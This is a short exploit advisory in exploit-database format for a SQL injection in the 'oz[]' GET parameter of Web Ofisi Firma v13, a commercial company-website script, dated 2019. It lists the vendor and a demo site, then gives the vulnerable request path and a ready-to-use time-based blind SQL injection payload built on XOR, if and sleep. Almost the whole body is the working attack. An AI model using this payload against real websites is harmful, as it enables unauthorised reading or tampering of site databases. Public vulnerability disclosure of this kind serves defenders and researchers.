Web Ofisi Firma 13 - 'oz' SQL Injection

# Exploit Title: Web Ofisi Firma 13 - 'oz' SQL Injection
# Date: 2019-07-19
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor: https://www.web-ofisi.com/detay/kurumsal-firma-v13-sinirsiz-dil.html
# Demo Site: http://demobul.net/firmav13/
# Version: v13
# Tested on: Kali Linux
# CVE: N/A

----- PoC: SQLi -----
Request: http://localhost/[PATH]/kategori/ikinci-el-klima.html?oz[]=1_1
Vulnerable Parameters: oz[] (GET)
Payload: 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z